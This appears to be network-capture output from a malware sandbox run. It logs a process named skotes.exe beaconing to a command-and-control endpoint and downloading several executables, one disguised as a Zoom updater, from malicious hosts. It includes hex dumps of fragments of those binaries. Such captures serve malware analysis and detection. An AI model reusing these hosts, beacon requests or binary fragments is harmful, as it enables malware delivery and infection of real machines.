Dec 16, 2024 21:02:52.603820086 CET	1236	IN	Data Raw: 04 50 ff 15 70 cd 41 00 33 c0 5d c3 55 8b ec 51 51 8d 45 f8 50 e8 8e 00 00 00 8b 55 fc 33 c0 03 45 f8 59 83 d2 00 2d 00 80 3e d5 81 da de b1 9d 01 c9 c3 55 8b ec 53 56 57 e8 ce ff ff ff 6a 00 68 80 96 98 00 8b fa 8b d8 57 53 e8 bb 00 00 00 8b 75 Data Ascii: PpA3]UQQEPU3EY->USVWjhWSujhWSVkd_F^[]VhAAhLAVAh`AVAA A3^Ujhi\AdPVA3PEd5AutAAMd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49876	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:56.387797117 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 32 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016275001&unit=246122658369
Dec 16, 2024 21:02:57.747519016 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49882	31.41.244.11	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:57.872359037 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 21:02:59.203100920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:58 GMT Content-Type: application/octet-stream Content-Length: 4499456 Last-Modified: Mon, 16 Dec 2024 19:21:18 GMT Connection: keep-alive ETag: "67607dae-44a800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 c0 c4 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c4 00 00 04 00 00 e3 46 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 a7 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 a7 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL]g(Kdq2K@FE@ _nsn n@(@.rsrcnP(@.idata nR(@ 9nT(@vdaqvihp0,V(@whfdtheaD@.taggant0"D@
Dec 16, 2024 21:02:59.203130960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:59.203146935 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:59.203833103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:59.203900099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: XD+\5%DAr
Dec 16, 2024 21:02:59.203917980 CET	448	IN	Data Raw: 61 8f f4 25 5f 55 d9 1c 01 c6 be 0e b6 f9 8c c5 3e d2 1b 15 7e 93 ee 0f 76 05 10 ad 71 b6 e0 e6 7e 0f 1b 17 a5 16 77 96 2e d7 99 d8 b8 ac 91 ab 4e 07 66 17 4f 5c 98 a6 31 7e 61 95 f2 fd 3d d0 85 3d 11 33 cc 08 56 b5 86 05 b4 76 f6 36 89 7b a3 28 Data Ascii: a%_U>~vq~w.NfO\1~a==3Vv6{(\|_X\*1Y}tjq~xTYXaYM:]!w.i>NC[^4v_L3fkDs(%%`9&h:b7;+cagty'\|3"]
Dec 16, 2024 21:02:59.204163074 CET	1236	IN	Data Raw: b4 48 de 00 31 66 dc 54 18 ca 8a 4c 16 77 ed 0e 87 d7 4a 90 6e 28 9c 23 d6 53 21 51 60 9f d4 e5 51 e3 c5 f7 8c 63 03 db 89 08 60 ed 63 09 48 ee e8 50 2c 48 44 c3 79 94 57 a7 e0 b0 21 9a 48 e6 73 b5 49 9c 86 77 41 60 74 73 c0 a7 24 dc a9 14 cd 6f Data Ascii: H1fTLwJn(#S!Q`Qc`cHP,HDyW!HsIwA`ts$o<:ODC4#Ltybb_uFt[ T`+~y?;q:ukR<I3<&rxQ8jchCGU!};BI1pezg"Id@
Dec 16, 2024 21:02:59.204178095 CET	224	IN	Data Raw: 30 59 58 51 5e 50 47 86 dd 0f 9b b0 28 21 2b a7 3f 8b 31 c6 3d d9 42 11 b7 b4 20 e5 89 63 4c 8c 65 02 39 64 f3 57 e3 d4 e8 3f f9 09 37 85 6a 6e 76 24 dd ed b7 4e ee 5a 19 22 27 ae 0a 3f 32 2b 75 86 f8 b9 17 a4 a9 d7 01 00 d9 91 95 a0 8b 22 e7 07 Data Ascii: 0YXQ^PG(!+?1=B cLe9dW?7jnv$NZ"'?2+u"6k+*rHuGWC9.R:Nr)GP#.c6L`[G{=MrrcjnWApq(c`r27~Tv^RwG
Dec 16, 2024 21:02:59.204195023 CET	1236	IN	Data Raw: b7 6b de dc b7 89 22 31 53 ec df 70 94 6f 0f 23 30 85 e1 09 71 d2 f3 48 23 f3 16 54 c0 a4 16 05 08 40 68 29 64 86 49 a3 05 da 7a 22 1e e8 c7 cd 8d c0 3d 5d bf 92 5b 17 fb 43 ec e7 7e 59 46 af 6f bd 2f d8 be 36 10 9d d3 d6 cf 2f e7 cb a5 45 c5 eb Data Ascii: k"1Spo#0qH#T@h)dIz"=][C~YFo/6/EAaByA8y.W>{K<v(Xcy=:o91{Lbg8bL@3.W@{]Ec&"HqbNa7e9@M:!L&?G"d;59'
Dec 16, 2024 21:02:59.204314947 CET	1236	IN	Data Raw: 25 2e 79 c3 df f9 8b b9 b7 93 cc 90 02 f5 d7 11 92 98 07 c5 bd 3f 78 c2 6b ef 3b 02 cd 84 bb c8 10 72 33 4a b8 f5 f5 08 9a 7e 88 23 c6 5f 41 dd 0f 36 cd 1d 89 80 45 10 4b 54 3d 9e 6b 57 5a 0e bc 46 18 4d dc ba ec eb e8 37 cb 20 fb f0 cc ff f7 92 Data Ascii: %.y?xk;r3J~#_A6EKT=kWZFM7 c=vb{RnDwxR>R)\1N?I(`FuS=b0S'#=L8pH 7Cu?(O\|qJK8yX4^q6iX`O:Gpw>L?`=1
Dec 16, 2024 21:02:59.323685884 CET	1236	IN	Data Raw: 56 67 d4 24 a5 c6 3f d0 60 52 be b4 0e 3b 21 30 49 2d b6 7e 70 17 6a a8 d1 18 a8 04 47 96 20 25 71 d7 87 f5 90 b5 41 2f e6 8e 21 9e c9 ab 2b ec a1 4f a9 ac 72 23 d8 84 43 50 ad d7 7f b9 10 f5 a7 ca 94 ef bf c2 8d 20 ce 54 a0 15 bd 3d eb 4e 4a a9 Data Ascii: Vg$?`R;!0I-~pjG %qA/!+Or#CP T=NJPI0`FY%k}%duBG5/sIY\|`=}nFZo0oM!0 WN.G(LmtX:SGm9"w\|9^TN7Q@&ZglY

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49763	185.196.8.237	443	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 20:02:10 UTC	56	OUT	GET /software1.exe HTTP/1.1 Host: sperviele.work.gd
2024-12-16 20:02:11 UTC	435	IN	HTTP/1.1 200 OK etag: "b400-67606c8d-c1001;;;" last-modified: Mon, 16 Dec 2024 18:08:13 GMT content-type: application/x-executable content-length: 46080 accept-ranges: bytes date: Mon, 16 Dec 2024 20:02:10 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-16 20:02:11 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 8d 6b 60 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 aa 00 00 00 08 00 00 00 00 00 00 de c8 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELk`g @ @
2024-12-16 20:02:11 UTC	16384	IN	Data Raw: 58 20 00 00 00 00 96 00 15 0f 0e 00 01 00 5f 20 00 00 00 00 96 00 d3 1a 12 00 01 00 66 20 00 00 00 00 06 18 8c 23 0a 00 01 00 6e 20 00 00 00 00 96 00 69 02 0e 00 01 00 75 20 00 00 00 00 96 00 05 1e 12 00 01 00 7c 20 00 00 00 00 11 18 92 23 3f 00 01 00 f0 24 00 00 00 00 13 08 bd 10 43 00 01 00 0c 25 00 00 00 00 13 08 0d 00 48 00 01 00 28 25 00 00 00 00 13 08 a2 0b 4d 00 01 00 44 25 00 00 00 00 13 08 61 21 52 00 01 00 a6 20 00 00 00 00 96 00 95 25 0e 00 01 00 ad 20 00 00 00 00 96 00 04 21 12 00 01 00 b4 20 00 00 00 00 96 00 db 1c 0e 00 01 00 bb 20 00 00 00 00 96 00 1a 02 12 00 01 00 c2 20 00 00 00 00 96 00 cc 02 0e 00 01 00 c9 20 00 00 00 00 96 00 b2 0d 12 00 01 00 d0 20 00 00 00 00 96 00 42 22 0e 00 01 00 d7 20 00 00 00 00 96 00 d4 06 12 00 01 00 de 20 00 Data Ascii: X _ f #n iu \| #?$C%H(%MD%a!R % ! B"
2024-12-16 20:02:11 UTC	13312	IN	Data Raw: 73 00 53 79 73 74 65 6d 2e 4e 65 74 2e 53 6f 63 6b 65 74 73 00 73 65 74 5f 41 72 67 75 6d 65 6e 74 73 00 45 78 69 73 74 73 00 31 68 70 6b 79 34 62 69 4a 4d 74 00 43 6f 6e 63 61 74 00 49 6d 61 67 65 46 6f 72 6d 61 74 00 50 69 78 65 6c 46 6f 72 6d 61 74 00 4d 61 6e 61 67 65 6d 65 6e 74 42 61 73 65 4f 62 6a 65 63 74 00 43 72 65 61 74 65 4f 62 6a 65 63 74 00 43 6f 6e 63 61 74 65 6e 61 74 65 4f 62 6a 65 63 74 00 53 75 62 74 72 61 63 74 4f 62 6a 65 63 74 00 4d 61 6e 61 67 65 6d 65 6e 74 4f 62 6a 65 63 74 00 43 6f 6c 6c 65 63 74 00 43 6f 6e 6e 65 63 74 00 73 65 74 5f 41 6c 6c 6f 77 41 75 74 6f 52 65 64 69 72 65 63 74 00 4c 61 74 65 47 65 74 00 53 79 73 74 65 6d 2e 4e 65 74 00 53 65 74 00 53 6f 63 6b 65 74 00 67 65 74 5f 48 65 69 67 68 74 00 53 70 6c 69 74 00 73 Data Ascii: sSystem.Net.Socketsset_ArgumentsExists1hpky4biJMtConcatImageFormatPixelFormatManagementBaseObjectCreateObjectConcatenateObjectSubtractObjectManagementObjectCollectConnectset_AllowAutoRedirectLateGetSystem.NetSetSocketget_HeightSplits

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49774	104.21.12.184	443	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 20:02:16 UTC	86	OUT	GET /elrata/ZoomUpdateInstallerFull.exe HTTP/1.1 Host: fahrerscheinonlineholen.de
2024-12-16 20:02:17 UTC	928	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 20:02:17 GMT Content-Type: application/x-msdownload Content-Length: 5640088 Connection: close Last-Modified: Mon, 09 Dec 2024 13:57:55 GMT Cache-Control: max-age=21600 Expires: Tue, 17 Dec 2024 00:33:29 GMT host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 0 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: HIT Age: 5028 Accept-Ranges: bytes Set-Cookie: __cf_bm=Ka40EXjcJ9VhJGYXU7leMaH3jXxjCB59Mca1vmXCMTQ-1734379337-1.0.1.1-LJHM1TA8lW0kCswE5q.Fp9QHN3_iYWzRWu8TyQbZvtFhuupESksL46Qk_fRxYqC49cYHgqlXjJTP.7pxYQZNzA; path=/; expires=Mon, 16-Dec-24 20:32:17 GMT; domain=.fahrerscheinonlineholen.de; HttpOnly; Secure Set-Cookie: _cfuvid=sP9IlnisPSw3KKDORdxB1THiTwV1BYXdjM3jynkqaFc-1734379337184-0.0.1.1-604800000; path=/; domain=.fahrerscheinonlineholen.de; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f31452949b0c47c-EWR
2024-12-16 20:02:17 UTC	441	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 5f 0e e5 45 3e 60 b6 45 3e 60 b6 45 3e 60 b6 f1 a2 91 b6 4f 3e 60 b6 f1 a2 93 b6 3f 3e 60 b6 f1 a2 92 b6 5d 3e 60 b6 c5 45 65 b7 60 3e 60 b6 c5 45 64 b7 54 3e 60 b6 c5 45 63 b7 51 3e 60 b6 4c 46 f3 b6 41 3e 60 b6 5b 6c f3 b6 46 3e 60 b6 45 3e 61 b6 25 3e 60 b6 cb 45 69 b7 44 3e 60 b6 cb 45 9f b6 44 3e 60 b6 cb 45 62 b7 44 3e 60 b6 52 69 63 68 45 3e 60 b6 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$_E>`E>`E>`O>`?>`]>`Ee`>`EdT>`EcQ>`LFA>`[lF>`E>a%>`EiD>`ED>`EbD>`RichE>`
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 1e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 af b1 00 00 00 10 00 00 00 b2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 60 00 00 00 d0 00 00 00 62 00 00 00 b6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 11 00 00 00 40 01 00 00 08 00 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 74 30 53 00 00 60 01 00 00 32 53 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a8 0e 00 00 00 a0 54 00 00 10 00 00 00 52 54 00 Data Ascii: `@<.text `.rdatax`b@@.data@@.rsrct0S`2S @@.relocTRT
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: 2d 06 00 00 cc e8 f2 05 00 00 33 c0 c3 e8 b2 07 00 00 e8 99 05 00 00 50 e8 ca 39 00 00 59 c3 6a 14 68 00 25 41 00 e8 63 08 00 00 6a 01 e8 0b 03 00 00 59 84 c0 0f 84 4a 01 00 00 32 db 88 5d e7 83 65 fc 00 e8 c2 02 00 00 88 45 dc a1 f4 4a 41 00 33 c9 41 3b c1 0f 84 29 01 00 00 85 c0 75 49 89 0d f4 4a 41 00 68 68 d1 40 00 68 50 d1 40 00 e8 7f 35 00 00 59 59 85 c0 74 11 c7 45 fc fe ff ff ff b8 ff 00 00 00 e9 e9 00 00 00 68 4c d1 40 00 68 44 d1 40 00 e8 fd 34 00 00 59 59 c7 05 f4 4a 41 00 02 00 00 00 eb 05 8a d9 88 5d e7 ff 75 dc e8 db 03 00 00 59 e8 69 05 00 00 8b f0 33 ff 39 3e 74 1b 56 e8 33 03 00 00 59 84 c0 74 10 8b 36 57 6a 02 57 8b ce ff 15 3c d1 40 00 ff d6 e8 47 05 00 00 8b f0 39 3e 74 13 56 e8 0d 03 00 00 59 84 c0 74 08 ff 36 e8 9b 37 00 00 59 e8 4a Data Ascii: -3P9Yjh%AcjYJ2]eEJA3A;)uIJAhh@hP@5YYtEhL@hD@4YYJA]uYi39>tV3Yt6WjW<@G9>tVYt67YJ
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: 4d fc 33 45 ec 33 45 fc 33 c1 c9 c3 8b 0d 00 40 41 00 56 57 bf 4e e6 40 bb be 00 00 ff ff 3b cf 74 04 85 ce 75 26 e8 94 ff ff ff 8b c8 3b cf 75 07 b9 4f e6 40 bb eb 0e 85 ce 75 0a 0d 11 47 00 00 c1 e0 10 0b c8 89 0d 00 40 41 00 f7 d1 5f 89 0d 04 40 41 00 5e c3 33 c0 c3 33 c0 40 c3 b8 00 40 00 00 c3 68 18 4b 41 00 ff 15 60 d0 40 00 c3 b0 01 c3 68 00 00 03 00 68 00 00 01 00 6a 00 e8 3b 39 00 00 83 c4 0c 85 c0 75 01 c3 6a 07 e8 45 00 00 00 cc c2 00 00 b8 20 4b 41 00 c3 b8 28 4b 41 00 c3 e8 ef ff ff ff 8b 48 04 83 08 24 89 48 04 e8 e7 ff ff ff 8b 48 04 83 08 02 89 48 04 c3 33 c0 39 05 0c 40 41 00 0f 94 c0 c3 b8 d8 51 41 00 c3 b8 d4 51 41 00 c3 55 8b ec 81 ec 24 03 00 00 53 6a 17 ff 15 4c d0 40 00 85 c0 74 05 8b 4d 08 cd 29 6a 03 e8 d3 01 00 00 c7 04 24 cc 02 Data Ascii: M3E3E3@AVWN@;tu&;uO@uG@A_@A^33@@hKA`@hhj;9ujE KA(KAH$HHH39@AQAQAU$SjL@tM)j$
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: 83 0d 10 40 41 00 40 89 35 34 4b 41 00 5f 5e 5b 33 c0 c9 c3 33 c0 39 05 d0 51 41 00 0f 95 c0 c3 55 8b ec 51 8b 45 18 8b 4d 1c 53 56 8b 58 10 57 8b 78 0c 8b d7 89 55 fc 8b f2 85 c9 78 2d 6b c2 14 83 c3 08 03 c3 8b 5d 10 83 fa ff 74 3c 83 e8 14 4a 39 58 fc 7d 04 3b 18 7e 05 83 fa ff 75 07 8b 75 fc 49 89 55 fc 85 c9 79 de 42 3b f7 77 1a 3b d6 77 16 8b 45 08 8b 4d 0c 5f 89 70 0c 5e 89 08 89 50 04 89 48 08 5b c9 c3 e8 72 34 00 00 cc 55 8b ec 83 ec 18 83 65 e8 00 8d 45 e8 33 05 00 40 41 00 8b 4d 08 89 45 f0 8b 45 0c 89 45 f4 8b 45 14 40 c7 45 ec 2d 20 40 00 89 4d f8 89 45 fc 64 a1 00 00 00 00 89 45 e8 8d 45 e8 64 a3 00 00 00 00 ff 75 18 51 ff 75 10 e8 de 16 00 00 8b c8 8b 45 e8 64 a3 00 00 00 00 8b c1 c9 c3 55 8b ec 83 ec 40 53 81 7d 08 23 01 00 00 75 12 b8 7b Data Ascii: @A@54KA_^[339QAUQEMSVXWxUx-k]t<J9X};~uuIUyB;w;wEM_p^PH[r4UeE3@AMEEEE@E- @MEdEEduQuEdU@S}#u{
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: 00 8b 45 0c 56 ff 75 f8 89 58 0c e8 73 fe ff ff 8b 4d ec 83 c4 08 8b d6 8b 49 08 e8 d3 13 00 00 cc e8 24 14 00 00 84 c0 75 03 32 c0 c3 e8 37 04 00 00 84 c0 75 07 e8 4b 14 00 00 eb ed b0 01 c3 55 8b ec 80 7d 08 00 75 0a e8 4e 04 00 00 e8 33 14 00 00 b0 01 5d c3 55 8b ec 8b 45 08 8b 4d 0c 3b c1 75 04 33 c0 5d c3 83 c1 05 83 c0 05 8a 10 3a 11 75 18 84 d2 74 ec 8a 50 01 3a 51 01 75 0c 83 c0 02 83 c1 02 84 d2 75 e4 eb d8 1b c0 83 c8 01 5d c3 6a 08 68 40 25 41 00 e8 e4 f7 ff ff 8b 45 08 85 c0 74 7e 81 38 63 73 6d e0 75 76 83 78 10 03 75 70 81 78 14 20 05 93 19 74 12 81 78 14 21 05 93 19 74 09 81 78 14 22 05 93 19 75 55 8b 48 1c 85 c9 74 4e 8b 51 04 85 d2 74 29 83 65 fc 00 52 ff 70 18 e8 4a 00 00 00 c7 45 fc fe ff ff ff eb 31 ff 75 0c ff 75 ec e8 43 00 00 00 59 Data Ascii: EVuXsMI$u27uKU}uN3]UEM;u3]:utP:Quu]jh@%AEt~8csmuvxupx tx!tx"uUHtNQt)eRpJE1uuCY
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: 84 91 00 00 00 ff 77 14 ff 70 18 56 e8 a9 12 00 00 83 c4 0c 83 7f 14 04 75 56 83 3e 00 74 51 8d 47 08 50 ff 36 e8 3c fc ff ff 59 59 89 06 eb 40 8b 48 18 39 5f 18 75 23 85 c9 74 5a 85 f6 74 56 ff 77 14 8d 47 08 50 51 e8 19 fc ff ff 59 59 50 56 e8 64 12 00 00 83 c4 0c eb 15 85 c9 74 37 85 f6 74 33 f6 07 04 6a 00 5b 0f 95 c3 43 89 5d e0 c7 45 fc fe ff ff ff 8b c3 eb 0b 33 c0 40 c3 8b 65 e8 eb 12 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c3 e8 b4 29 00 00 cc 6a 08 68 28 26 41 00 e8 82 f2 ff ff 8b 55 10 8b 4d 0c 83 3a 00 7d 04 8b f9 eb 06 8d 79 0c 03 7a 08 83 65 fc 00 8b 75 14 56 52 51 8b 5d 08 53 e8 8e fe ff ff 83 c4 10 83 e8 01 74 21 83 e8 01 75 34 8d 46 08 50 ff 73 18 e8 7d fb ff ff 59 59 6a 01 50 ff 76 18 57 e8 e7 0b 00 00 eb 18 8d 46 08 50 ff 73 Data Ascii: wpVuV>tQGP6<YY@H9_u#tZtVwGPQYYPVdt7t3j[C]E3@e3MdY_^[)jh(&AUM:}yzeuVRQ]St!u4FPs}YYjPvWFPs
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: cc 55 8b ec 83 ec 38 53 8b 5d 08 81 3b 03 00 00 80 0f 84 17 01 00 00 56 57 e8 f9 f8 ff ff 33 ff 39 78 08 74 46 57 ff 15 7c d0 40 00 8b f0 e8 e4 f8 ff ff 39 70 08 74 33 81 3b 4d 4f 43 e0 74 2b 81 3b 52 43 43 e0 74 23 ff 75 24 ff 75 20 ff 75 18 ff 75 14 ff 75 10 ff 75 0c 53 e8 82 f0 ff ff 83 c4 1c 85 c0 0f 85 c1 00 00 00 8b 45 18 89 45 ec 89 7d f0 39 78 0c 0f 86 b4 00 00 00 ff 75 20 50 ff 75 14 8d 45 ec ff 75 1c 50 8d 45 dc 50 e8 81 ef ff ff 8b 55 e0 83 c4 18 8b 45 dc 89 45 f4 89 55 fc 3b 55 e8 0f 83 80 00 00 00 6b ca 14 89 4d f8 8b 00 8d 7d c8 6a 05 8b 70 10 8b 45 1c 03 f1 59 f3 a5 39 45 c8 7f 4e 3b 45 cc 7f 49 8b 4d d4 8b 45 d8 c1 e1 04 83 c0 f0 03 c1 8b 48 04 85 c9 74 06 80 79 08 00 75 2e f6 00 40 75 29 6a 00 6a 01 ff 75 24 8d 4d c8 ff 75 20 51 6a 00 50 Data Ascii: U8S];VW39xtFW\|@9pt3;MOCt+;RCCt#u$u uuuuSEE}9xu PuEuPEPUEEU;UkM}jpEY9EN;EIMEHtyu.@u)jju$Mu QjP
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: e8 b5 8c 00 00 e8 b4 f3 ff ff 83 78 1c 00 75 1d 83 65 fc 00 e8 b2 06 00 00 e8 a0 f3 ff ff 8b 4d 08 6a 00 6a 00 89 48 1c e8 68 07 00 00 e8 6b 1f 00 00 cc cc cc cc cc cc 55 8b ec 8b 45 08 8b 00 81 38 63 73 6d e0 75 36 83 78 10 03 75 30 81 78 14 20 05 93 19 74 12 81 78 14 21 05 93 19 74 09 81 78 14 22 05 93 19 75 15 83 78 1c 00 75 0f e8 4a f3 ff ff 33 c9 41 89 48 20 8b c1 5d c3 33 c0 5d c3 55 8b ec 6a ff ff 75 10 ff 75 0c ff 75 08 e8 05 00 00 00 83 c4 10 5d c3 6a 10 68 60 25 41 00 e8 d2 e7 ff ff ff 75 10 ff 75 0c ff 75 08 e8 34 06 00 00 83 c4 0c 8b f0 89 75 e4 e8 fd f2 ff ff ff 40 18 83 65 fc 00 3b 75 14 74 68 83 fe ff 0f 8e a6 00 00 00 8b 7d 10 3b 77 04 0f 8d 9a 00 00 00 8b 47 08 8b 0c f0 89 4d e0 c7 45 fc 01 00 00 00 83 7c f0 04 00 74 30 51 57 ff 75 08 e8 Data Ascii: xueMjjHhkUE8csmu6xu0x tx!tx"uxuJ3AH ]3]Ujuuu]jh`%Auuu4u@e;uth};wGME\|t0QWu
2024-12-16 20:02:17 UTC	1369	IN	Data Raw: a4 d0 40 00 85 c0 75 32 ff 15 74 d0 40 00 83 f8 57 75 25 6a 07 68 10 dc 40 00 ff 75 08 e8 d5 1b 00 00 83 c4 0c 85 c0 74 0f 6a 00 6a 00 ff 75 08 ff 15 a4 d0 40 00 5d c3 33 c0 5d c3 55 8b ec 56 68 28 dc 40 00 68 20 dc 40 00 68 28 dc 40 00 6a 00 e8 fb fe ff ff 8b f0 83 c4 10 85 f6 74 10 ff 75 08 8b ce ff 15 3c d1 40 00 ff d6 5e 5d c3 5e 5d ff 25 90 d0 40 00 55 8b ec 56 68 3c dc 40 00 68 34 dc 40 00 68 3c dc 40 00 6a 01 e8 c0 fe ff ff 83 c4 10 8b f0 ff 75 08 85 f6 74 0c 8b ce ff 15 3c d1 40 00 ff d6 eb 06 ff 15 9c d0 40 00 5e 5d c3 55 8b ec 56 68 4c dc 40 00 68 44 dc 40 00 68 4c dc 40 00 6a 02 e8 85 fe ff ff 83 c4 10 8b f0 ff 75 08 85 f6 74 0c 8b ce ff 15 3c d1 40 00 ff d6 eb 06 ff 15 94 d0 40 00 